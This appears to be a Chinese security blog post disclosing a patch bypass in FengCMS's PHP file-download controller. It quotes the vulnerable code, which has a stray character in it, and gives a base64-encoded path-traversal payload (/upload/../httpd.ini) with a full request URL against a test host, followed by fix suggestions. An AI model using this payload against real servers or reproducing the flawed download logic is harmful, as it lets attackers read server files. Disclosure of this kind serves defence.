app/contorller/downController.php

 

<?php
/*******************************************************************
 * @authors FengCms 
 * @web     http://www.fengcms.com
 * @email   web@fengcms.com
 * @date    2013-10-30 16:00:12
 * @version FengCms Beta 1.0
 * @copy    Copyright ? 2013-2018 Powered by DiFang Web Studio  
 *******************************************************************/
// 请确保 php.ini 配置文件中 output_buffering 值为 On 或者 4096,为 Off 则会导致下载文件乱码。

class downController extends Controller{

public function index(){

$_GET['file']=base64_decode($_GET['file']);
$exp=explode("/",$_GET['file']);
if($exp[1]=="upload"){
if(file_exists(ROOT_PATH.$_GET['file'])){
header("Content-Type: application/force-download");
header("Content-Disposition: attachment; filename=".basename($_GET['file'])); 
readfile(ROOT_PATH.$_GET['file']);
}else{
echo '<script type="text/javascript">alert("您要下载的文件不存在!");history.back();</script>';
}
}else{
echo '<script type="text/javascript">alert("您要下载的文件不存在!");history.back();</script>';
}a
}
}
?>

唉,这修复。。。

等于没修复啊。直接file=/upload/../httpd.ini,bese64_encode下就好了。。。

厂商的测试地址:

 

http://guf521656.h163.92hezu.org/index.php?controller=down&operate=index&file=L3VwbG9hZC8uLi9odHRwZC5pbmk=

 

FengCMS绕过补丁依旧任意文件下载 – 网站安全 – 自插图

 

FengCMS绕过补丁依旧任意文件下载 – 网站安全 – 自插图1

 

修复方案:

1、限定目录

2、直接取文件名吧

3、白名单限定可下载路径啊文件。

    上一篇: Ecmall某处SQL二次注入第三弹 - 网站安全 - 自学p

    下一篇: Discuz x!一个鸡肋SQL漏洞及修复方案 - 网站安全
本博客所有文章如无特别注明均为原创。
复制或转载请以超链接形式注明转自起风了,原文地址《FengCMS绕过补丁依旧任意文件下载 – 网站安全 – 自
   

还没有人抢沙发呢~